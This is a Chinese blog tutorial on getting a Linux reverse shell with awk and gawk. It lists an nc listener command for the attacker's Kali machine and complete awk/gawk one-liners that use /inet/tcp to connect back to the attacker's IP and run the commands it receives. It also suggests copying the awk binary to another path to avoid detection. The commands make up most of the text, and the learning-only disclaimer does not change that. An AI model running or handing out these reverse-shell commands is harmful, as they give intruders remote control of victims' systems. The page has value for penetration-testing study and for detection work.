Linux反弹shell姿势复现(三)--- 利用awk、gawk反弹
前言
本博文仅供学习反弹shell的姿势使用,勿作其他用途的参考!
复现环境说明
-
服务端(被监听)(ubuntu使用
cat /proc/version
查看,centos使用cat /etc/system-release
查看):ubuntu 5.4.0-67-generic; centos:CentOS Linux release 7.5.1804 (Core) -
客户端(监听):kali 5.9.0-kali1-amd64
利用awk、gawk反弹
什么是awk、gawk?
awk是一种处理文本文件的语言,是一种解释型的编程语言,可以使用awk来处理反弹的命令。具体的学习可以参考翻译成中文的网站:什么是awk?,看完这个网站上的内容,相信你就能看懂下面的操作了(* ̄︶ ̄)。
gawk是GNU所做的awk,之后不断地更新迭代,gawk 包含 awk 的所有功能。
方法一:利用awk反弹
- 在监听端(kali端)开启监听:
nc -nlvp 1231
(此处假设开启的是1231端口)
- 被监听端(centos端):
cp /usr/bin/awk /home/a
(复制一个awk,一般情况下黑客如果做这一步是为了防止被检测,这一步可以不用做,直接用awk执行也是可以的)/home/a 'BEGIN{s="/inet/tcp/0/kali的ip地址/1231"
(BEGIN语句块在程序开始的使用执行,它只执行一次,BEGIN是awk的关键字,这个地方这条和下一条语句是拆开的,也可以合并在一起执行,注意合在一起执行的话,这条语句后面要加分号,比如看方法二,我会合并执行)for(;s|&getline c;close(c))while (c|getline)print|&s;close(s)}'
(与其他C系语言一样,awk也有for循环,getline命令表示让awk读取下一行内容,close()函数是内建函数)
- kali端拿到centOs的反弹过来的shell
方法二:利用gawk反弹
- 在监听端(kali端)开启监听:
nc -nlvp 1231
(此处假设开启的是1231端口)
- 被监听端(centos端):
gawk 'BEGIN{s="/inet/tcp/0/kali的ip地址/1231";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
- kali端拿到centOs的反弹过来的shell
以上是对利用awk、gawk进行反弹的一个小总结,现实中黑客会利用各种方法对反弹的方式进行变形等来躲避检测,变化更加的灵活,仍需多多查阅相关资料扩充,本文如有不足之处,欢迎指正(* ̄︶ ̄)。